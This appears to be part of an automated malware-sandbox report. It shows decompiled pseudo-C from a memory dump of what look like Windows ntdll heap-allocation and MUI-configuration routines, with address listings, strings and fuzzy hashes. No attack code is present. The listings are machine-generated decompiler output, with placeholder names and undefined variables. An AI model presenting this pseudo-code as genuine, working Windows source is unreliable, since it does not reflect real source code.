								_t101 =  *(_t177 + 3);
								 *(_t182 - 0x29) = _t101;
								_t102 = _t101 & 0x000000ff;
							} else {
								_t130 = E00BE1F5B(_t177);
								 *((intOrPtr*)(_t182 - 0x30)) = _t130;
								__eflags =  *(_t181 + 0x40) & 0x08000000;
								if(( *(_t181 + 0x40) & 0x08000000) == 0) {
									 *_t130 = 0;
								} else {
									_t131 = E00C116C7(1, _t173);
									_t165 =  *((intOrPtr*)(_t182 - 0x30));
									 *_t165 = _t131;
									_t130 = _t165;
								}
								_t102 =  *(_t130 + 2) & 0x0000ffff;
							}
							 *(_t182 - 0x34) = _t102;
							 *(_t182 - 0x28) = _t102;
							__eflags =  *(_t181 + 0x4c);
							if( *(_t181 + 0x4c) != 0) {
								 *(_t177 + 3) =  *(_t177 + 2) ^  *(_t177 + 1) ^  *_t177;
								 *_t177 =  *_t177 ^  *(_t181 + 0x50);
								__eflags =  *_t177;
							}
							__eflags =  *(_t181 + 0x40) & 0x20000000;
							if(( *(_t181 + 0x40) & 0x20000000) != 0) {
								__eflags = 0;
								E00CA4496(_t181, 0);
							}
							__eflags =  *(_t182 - 0x24) -  *0xcd6360; // 0x0
							_t104 =  *[fs:0x30];
							if(__eflags != 0) {
								_t105 =  *(_t104 + 0x68);
								 *(_t182 - 0x4c) = _t105;
								__eflags = _t105 & 0x00000800;
								if((_t105 & 0x00000800) == 0) {
									goto L49;
								}
								_t106 =  *(_t182 - 0x34);
								__eflags = _t106;
								if(_t106 == 0) {
									goto L49;
								}
								__eflags = _t106 -  *0xcd6364; // 0x0
								if(__eflags != 0) {
									goto L49;
								}
								__eflags =  *((intOrPtr*)(_t181 + 0x7c)) -  *0xcd6366; // 0x0
								if(__eflags != 0) {
									goto L49;
								}
								_t108 =  *[fs:0x30];
								__eflags =  *(_t108 + 0xc);
								if( *(_t108 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(E00C8D455(_t181,  *(_t182 - 0x28)));
								_push( *(_t182 + 8));
								E00BEB150("Just allocated block at %p for 0x%Ix bytes with tag %ws\n",  *(_t182 - 0x24));
								goto L34;
							} else {
								__eflags =  *(_t104 + 0xc);
								if( *(_t104 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t182 + 8));
								E00BEB150("Just allocated block at %p for %Ix bytes\n",  *0xcd6360);
								L34:
								_t112 =  *[fs:0x30];
								__eflags =  *((char*)(_t112 + 2));
								if( *((char*)(_t112 + 2)) != 0) {
									 *0xcd6378 = 1;
									 *0xcd60c0 = 0;
									asm("int3");
									 *0xcd6378 = 0;
								}
								goto L49;
							}
						}
					}
				} else {
					_t181 =  *0xcd5708; // 0x0
					 *0xcdb1e0(__ecx, __edx,  *(_t182 + 8));
					 *_t181();
					L50:
					return E00C3D130(0, _t177, _t181);
				}
			}

0x00ca2d82
0x00ca2d84
0x00ca2d89
0x00ca2d8e
0x00ca2d90
0x00ca2d92
0x00ca2d97
0x00ca2d9a
0x00ca2da4
0x00ca2dc0
0x00ca2dc3
0x00ca2dd1
0x00ca2dd6
0x00ca2dd8
0x00ca30a7
0x00ca30a7
0x00ca30aa
0x00ca30aa
0x00ca30ad
0x00ca30b4
0x00000000
0x00ca30b9
0x00ca2de3
0x00ca2de8
0x00ca2deb
0x00ca2dee
0x00ca2df1
0x00ca2df3
0x00ca2dfb
0x00ca2dfb
0x00ca2df5
0x00ca2df5
0x00ca2df5
0x00ca2e04
0x00ca2e0a
0x00ca2e0d
0x00ca2e11
0x00ca2e11
0x00ca2e12
0x00ca2e15
0x00ca2e18
0x00ca2e1a
0x00ca3027
0x00ca3027
0x00ca302d
0x00ca3030
0x00ca304f
0x00ca3054
0x00ca3032
0x00ca3047
0x00ca304c
0x00ca305a
0x00ca3063
0x00000000
0x00ca2e20
0x00ca2e20
0x00ca2e23
0x00000000
0x00000000
0x00ca2e29
0x00ca2e2b
0x00ca2e47
0x00ca2e2d
0x00ca2e33
0x00ca2e38
0x00ca2e3f
0x00ca2e42
0x00ca2e42
0x00ca2e4e
0x00ca2e5d
0x00ca2e5f
0x00ca2e62
0x00ca2e66
0x00ca2e6b
0x00ca2e6d
0x00000000
0x00ca2e73
0x00ca2e73
0x00ca2e76
0x00ca2e7a
0x00ca2e83
0x00ca2e83
0x00ca2e83
0x00ca2e85
0x00ca2e87
0x00ca2e8a
0x00ca2e8d
0x00ca2e92
0x00ca2e9c
0x00ca2e9f
0x00ca2ea1
0x00ca2ea2
0x00ca2ea6
0x00ca2ea6
0x00ca2e9f
0x00ca2eab
0x00ca2eaf
0x00ca2edf
0x00ca2ee2
0x00ca2ee5
0x00ca2eb1
0x00ca2eb3
0x00ca2eb8
0x00ca2ebd
0x00ca2ec4
0x00ca2ed6
0x00ca2ec6
0x00ca2ec7
0x00ca2ecc
0x00ca2ecf
0x00ca2ed2
0x00ca2ed2
0x00ca2ed9
0x00ca2ed9
0x00ca2ee8
0x00ca2eeb
0x00ca2eef
0x00ca2ef2
0x00ca2efe
0x00ca2f04
0x00ca2f04
0x00ca2f04
0x00ca2f06
0x00ca2f0d
0x00ca2f0f
0x00ca2f13
0x00ca2f13
0x00ca2f1b
0x00ca2f21
0x00ca2f27
0x00ca2f95
0x00ca2f98
0x00ca2f9b
0x00ca2fa0
0x00000000
0x00000000
0x00ca2fa6
0x00ca2fa9
0x00ca2fac
0x00000000
0x00000000
0x00ca2fb2
0x00ca2fb9
0x00000000
0x00000000
0x00ca2fc3
0x00ca2fca
0x00000000
0x00000000
0x00ca2fd0
0x00ca2fd6
0x00ca2fd9
0x00ca2ff8
0x00ca2ffd
0x00ca2fdb
0x00ca2ff0
0x00ca2ff5
0x00ca300e
0x00ca300f
0x00ca301a
0x00000000
0x00ca2f29
0x00ca2f29
0x00ca2f2c
0x00ca2f4b
0x00ca2f50
0x00ca2f2e
0x00ca2f43
0x00ca2f48
0x00ca2f56
0x00ca2f64
0x00ca2f6c
0x00ca2f6c
0x00ca2f72
0x00ca2f76
0x00ca2f7c
0x00ca2f83
0x00ca2f89
0x00ca2f8a
0x00ca2f8a
0x00000000
0x00ca2f76
0x00ca2f27
0x00ca2e6d
0x00ca2da6
0x00ca2dab
0x00ca2db3
0x00ca2db9
0x00ca30bc
0x00ca30c1
0x00ca30c1

Strings

Invalid allocation size - %Ix (exceeded %Ix), xrefs: 00CA305E
Just allocated block at %p for 0x%Ix bytes with tag %ws, xrefs: 00CA3015
Just allocated block at %p for %Ix bytes, xrefs: 00CA2F5F
HEAP[%wZ]: , xrefs: 00CA2F3E, 00CA2FEB, 00CA3042
HEAP: , xrefs: 00CA2F4B, 00CA2FF8, 00CA304F
RtlAllocateHeap, xrefs: 00CA2DCA

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
API String ID: 0-1745908468
Opcode ID: 30d38dcca71049d00e6344ed8418e0d1049e1bb4e51371bcf56b4ff283cb9a80
Instruction ID: 002d2cda976e8e1d6ac575e74b6a5c35fc8831799e893628358d047c06370f86
Opcode Fuzzy Hash: 30d38dcca71049d00e6344ed8418e0d1049e1bb4e51371bcf56b4ff283cb9a80
Instruction Fuzzy Hash: E79124309106969FCB25DFA9C451BADBBF2FF4A718F18805DF056672A2C7329E81DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00BF3D34, Relevance: 6.7, Strings: 5, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00BF3D34(signed int* __ecx) {
				signed int* _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int* _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				signed int _t140;
				signed int _t161;
				signed int* _t236;
				signed int* _t242;
				signed int* _t243;
				signed int* _t244;
				signed int* _t245;
				signed int _t255;
				void* _t257;
				signed int _t260;
				void* _t262;
				signed int _t264;
				void* _t267;
				signed int _t275;
				signed int* _t276;
				short* _t277;
				signed int* _t278;
				signed int* _t279;
				signed int* _t280;
				short* _t281;
				signed int* _t282;
				short* _t283;
				signed int* _t284;
				void* _t285;

				_v60 = _v60 | 0xffffffff;
				_t280 = 0;
				_t242 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t275 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t280 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t242 =  *_t242 | 0x00000800;
					_t242[0x13] = _t140;
					_t242[0x16] = _v40;
					_t242[0x18] = _v28;
					_t242[0x14] = _v32;
					_t242[0x17] = _t275;
					_t242[0x15] = _v44;
					_t242[0x11] = _v56;
					_t242[0x12] = _v60;
					return _t280;
				}
				if(E00BF1B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v8);
					}
					_v8 = _t280;
				}
				if(E00BF1B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_v60 =  *_v8;
					L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v8);
					_v8 = _t280;
				}
				if(E00BF1B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E00BF1B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E00BF1B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t275 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t275 != 0) {
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t275);
									_t275 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t255 = _v12 + 4;
						_v44 = _t255;
						if(_t255 == 0) {
							_t276 = _t280;
							_v32 = _t280;
						} else {
							_t276 = L00C04620(_t255,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t255);
							_t167 = _v12;
							_v32 = _t276;
						}
						if(_t276 == 0) {
							_v44 = _t280;
							_t280 = 0xc0000017;
							goto L46;
						} else {
							E00C2F3E0(_t276, _v8, _t167);
							_v48 = _t276;
							_t277 = E00C31370(_t276, 0xbc4e90);
							_pop(_t257);
							if(_t277 == 0) {
								L38:
								_t170 = _v48;
								if( *_v48 != 0) {
									E00C2BB40(0,  &_v68, _t170);
									if(L00BF43C0( &_v68,  &_v24) != 0) {
										_t280 =  &(_t280[0]);
									}
								}
								if(_t280 == 0) {
									_t280 = 0;
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t280 = 0;
								}
								_t174 = _v8;
								if(_v8 != 0) {
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t174);
								}
								_v8 = _t280;
								goto L46;
							}
							_t243 = _v48;
							do {
								 *_t277 = 0;
								_t278 = _t277 + 2;
								E00C2BB40(_t257,  &_v68, _t243);
								if(L00BF43C0( &_v68,  &_v24) != 0) {
									_t280 =  &(_t280[0]);
								}
								_t243 = _t278;
								_t277 = E00C31370(_t278, 0xbc4e90);
								_pop(_t257);
							} while (_t277 != 0);
							_v48 = _t243;
							_t242 = _v52;
							goto L38;
						}
					}
					_t191 = _v12;
					_t260 = _v12 + 4;
					_v28 = _t260;
					if(_t260 == 0) {
						_t275 = _t280;
						_v16 = _t280;
					} else {
						_t275 = L00C04620(_t260,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t260);
						_t191 = _v12;
						_v16 = _t275;
					}
					if(_t275 == 0) {
						_v28 = _t280;
						_t280 = 0xc0000017;
						goto L47;
					} else {
						E00C2F3E0(_t275, _v8, _t191);
						_t285 = _t285 + 0xc;
						_v48 = _t275;
						_t279 = _t280;
						_t281 = E00C31370(_v16, 0xbc4e90);
						_pop(_t262);
						if(_t281 != 0) {
							_t244 = _v48;
							do {
								 *_t281 = 0;
								_t282 = _t281 + 2;
								E00C2BB40(_t262,  &_v68, _t244);
								if(L00BF43C0( &_v68,  &_v24) != 0) {
									_t279 =  &(_t279[0]);
								}
								_t244 = _t282;
								_t281 = E00C31370(_t282, 0xbc4e90);
								_pop(_t262);
							} while (_t281 != 0);
							_v48 = _t244;
							_t242 = _v52;
						}
						_t201 = _v48;
						_t280 = 0;
						if( *_v48 != 0) {
							E00C2BB40(_t262,  &_v68, _t201);
							if(L00BF43C0( &_v68,  &_v24) != 0) {
								_t279 =  &(_t279[0]);
							}
						}
						if(_t279 == 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v16);
							_v28 = _t280;
							_v16 = _t280;
						}
						_t202 = _v8;
						if(_v8 != 0) {
							L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t202);
						}
						_v8 = _t280;
						goto L28;
					}
				}
				_t214 = _v12;
				_t264 = _v12 + 4;
				_v40 = _t264;
				if(_t264 == 0) {
					_v20 = _t280;
				} else {
					_t236 = L00C04620(_t264,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t264);
					_t280 = _t236;
					_v20 = _t236;
					_t214 = _v12;
				}
				if(_t280 == 0) {
					_t161 = 0;
					_t280 = 0xc0000017;
					_v40 = 0;
					goto L48;
				} else {
					E00C2F3E0(_t280, _v8, _t214);
					_t285 = _t285 + 0xc;
					_v48 = _t280;
					_t283 = E00C31370(_t280, 0xbc4e90);
					_pop(_t267);
					if(_t283 != 0) {
						_t245 = _v48;
						do {
							 *_t283 = 0;
							_t284 = _t283 + 2;
							E00C2BB40(_t267,  &_v68, _t245);
							if(L00BF43C0( &_v68,  &_v24) != 0) {
								_t275 = _t275 + 1;
							}
							_t245 = _t284;
							_t283 = E00C31370(_t284, 0xbc4e90);
							_pop(_t267);
						} while (_t283 != 0);
						_v48 = _t245;
						_t242 = _v52;
					}
					_t224 = _v48;
					_t280 = 0;
					if( *_v48 != 0) {
						E00C2BB40(_t267,  &_v68, _t224);
						if(L00BF43C0( &_v68,  &_v24) != 0) {
							_t275 = _t275 + 1;
						}
					}
					if(_t275 == 0) {
						L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _v20);
						_v40 = _t280;
						_v20 = _t280;
					}
					_t225 = _v8;
					if(_v8 != 0) {
						L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t280, _t225);
					}
					_v8 = _t280;
					goto L16;
				}
			}

0x00bf3d3c
0x00bf3d42
0x00bf3d44
0x00bf3d46
0x00bf3d49
0x00bf3d4c
0x00bf3d4f
0x00bf3d52
0x00bf3d55
0x00bf3d58
0x00bf3d5b
0x00bf3d5f
0x00bf3d61
0x00bf3d66
0x00c48213
0x00c48218
0x00bf4085
0x00bf4088
0x00bf408e
0x00bf4094
0x00bf409a
0x00bf40a0
0x00bf40a6
0x00bf40a9
0x00bf40af
0x00bf40b6
0x00bf40bd
0x00bf40bd
0x00bf3d83
0x00c4821f
0x00c48229
0x00c48238
0x00c48238
0x00c4823d
0x00c4823d
0x00bf3da0
0x00bf3daf
0x00bf3db5
0x00bf3dba
0x00bf3dba
0x00bf3dd4
0x00bf3e94
0x00bf3eab
0x00bf3f6d
0x00bf3f84
0x00bf406b
0x00bf406b
0x00bf406e
0x00bf406e
0x00bf4070
0x00bf4074
0x00c48351
0x00c48351
0x00bf407a
0x00bf407f
0x00c4835d
0x00c48370
0x00c48377
0x00c48379
0x00c4837c
0x00c4837c
0x00c4835d
0x00000000
0x00bf407f
0x00bf3f8a
0x00bf3f8d
0x00bf3f90
0x00bf3f95
0x00c4830d
0x00c4830f
0x00bf3f9b
0x00bf3fac
0x00bf3fae
0x00bf3fb1
0x00bf3fb1
0x00bf3fb6
0x00c48317
0x00c4831a
0x00000000
0x00bf3fbc
0x00bf3fc1
0x00bf3fc9
0x00bf3fd7
0x00bf3fda
0x00bf3fdd
0x00bf4021
0x00bf4021
0x00bf4029
0x00bf4030
0x00bf4044
0x00bf4046
0x00bf4046
0x00bf4044
0x00bf4049
0x00c48327
0x00c48334
0x00c48339
0x00c4833c
0x00bf404f
0x00bf404f
0x00bf404f
0x00bf4051
0x00bf4056
0x00bf4063
0x00bf4063
0x00bf4068
0x00000000
0x00bf4068
0x00bf3fdf
0x00bf3fe2
0x00bf3fe4
0x00bf3fe7
0x00bf3fef
0x00bf4003
0x00bf4005
0x00bf4005
0x00bf400c
0x00bf4013
0x00bf4016
0x00bf4017
0x00bf401b
0x00bf401e
0x00000000
0x00bf401e
0x00bf3fb6
0x00bf3eb1
0x00bf3eb4
0x00bf3eb7
0x00bf3ebc
0x00c482a9
0x00c482ab
0x00bf3ec2
0x00bf3ed3
0x00bf3ed5
0x00bf3ed8
0x00bf3ed8
0x00bf3edd
0x00c482b3
0x00c482b6
0x00000000
0x00bf3ee3
0x00bf3ee8
0x00bf3eed
0x00bf3ef0
0x00bf3ef3
0x00bf3f02
0x00bf3f05
0x00bf3f08
0x00c482c0
0x00c482c3
0x00c482c5
0x00c482c8
0x00c482d0
0x00c482e4
0x00c482e6
0x00c482e6
0x00c482ed
0x00c482f4
0x00c482f7
0x00c482f8
0x00c482fc
0x00c482ff
0x00c482ff
0x00bf3f0e
0x00bf3f11
0x00bf3f16
0x00bf3f1d
0x00bf3f31
0x00c48307
0x00c48307
0x00bf3f31
0x00bf3f39
0x00bf3f48
0x00bf3f4d
0x00bf3f50
0x00bf3f50
0x00bf3f53
0x00bf3f58
0x00bf3f65
0x00bf3f65
0x00bf3f6a
0x00000000
0x00bf3f6a
0x00bf3edd
0x00bf3dda
0x00bf3ddd
0x00bf3de0
0x00bf3de5
0x00c48245
0x00bf3deb
0x00bf3df7
0x00bf3dfc
0x00bf3dfe
0x00bf3e01
0x00bf3e01
0x00bf3e06
0x00c4824d
0x00c4824f
0x00c48254
0x00000000
0x00bf3e0c
0x00bf3e11
0x00bf3e16
0x00bf3e19
0x00bf3e29
0x00bf3e2c
0x00bf3e2f
0x00c4825c
0x00c4825f
0x00c48261
0x00c48264
0x00c4826c
0x00c48280
0x00c48282
0x00c48282
0x00c48289
0x00c48290
0x00c48293
0x00c48294
0x00c48298
0x00c4829b
0x00c4829b
0x00bf3e35
0x00bf3e38
0x00bf3e3d
0x00bf3e44
0x00bf3e58
0x00c482a3
0x00c482a3
0x00bf3e58
0x00bf3e60
0x00bf3e6f
0x00bf3e74
0x00bf3e77
0x00bf3e77
0x00bf3e7a
0x00bf3e7f
0x00bf3e8c
0x00bf3e8c
0x00bf3e91
0x00000000
0x00bf3e91

Strings

WindowsExcludedProcs, xrefs: 00BF3D6F
Kernel-MUI-Number-Allowed, xrefs: 00BF3D8C
Kernel-MUI-Language-SKU, xrefs: 00BF3F70
Kernel-MUI-Language-Disallowed, xrefs: 00BF3E97
Kernel-MUI-Language-Allowed, xrefs: 00BF3DC0

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: a565ae3fef4410a276c9915fa45bca3606fea007eef0c9714effa96533360e3f
Instruction ID: da45a5bf9419a89271a87baac9e551c3e782256231f8d412f31c0fe1f9e6df33
Opcode Fuzzy Hash: a565ae3fef4410a276c9915fa45bca3606fea007eef0c9714effa96533360e3f
Instruction Fuzzy Hash: B7F13D72D00619EBCB15DF98C980AEFB7F9FF08750F1500AAEA05A7251DB749E05DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BE40E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00BE40E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E00BEB150();
					} else {
						E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E00BEB150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E00BEB150(", passed to %s", _t29);
					}
					_push("\n");
					E00BEB150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0xcd6378 = 1;
						asm("int3");
						 *0xcd6378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x00be40e6
0x00be40e8
0x00be40f1
0x00c4042d
0x00c4044c
0x00c40451
0x00c4042f
0x00c40444
0x00c40449
0x00c4045d
0x00c40466
0x00c4046e
0x00c40474
0x00c40475
0x00c4047a
0x00c4048a
0x00c4048c
0x00c40493
0x00c40494
0x00c40494
0x00000000
0x00c4049b
0x00000000

Strings

Invalid heap signature for heap at %p, xrefs: 00C40458
, passed to %s, xrefs: 00C40469
HEAP[%wZ]: , xrefs: 00C4043F
HEAP: , xrefs: 00C4044C
RtlAllocateHeap, xrefs: 00C40468

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: c4079e9197bec287aa3dbaaf2d87e4c0e2a8d71f19b853113daac452b5bb2d21
Instruction ID: 7e3f65d4498eb9e0c9a472c43ce770453a24002e5eb0fabbabb9d95239d17fb9
Opcode Fuzzy Hash: c4079e9197bec287aa3dbaaf2d87e4c0e2a8d71f19b853113daac452b5bb2d21
Instruction Fuzzy Hash: F3014C32152281AFD2159765E41FF57B7E4EB00B30F3840EEF204976A2CBB49C40C122

Uniqueness

Uniqueness Score: -1.00%

Function 00C0A830, Relevance: 5.4, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00C0A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0xcd8748 - 1;
					if( *0xcd8748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E00BEB150();
									_t260 = _t257 + 4;
								} else {
									E00BEB150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E00BEB150();
								_t257 = _t260 + 4;
								__eflags =  *0xcd7bc8;
								if(__eflags == 0) {
									E00CA2073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E00CAA80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E00C3D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E00C0AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E00CAA80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
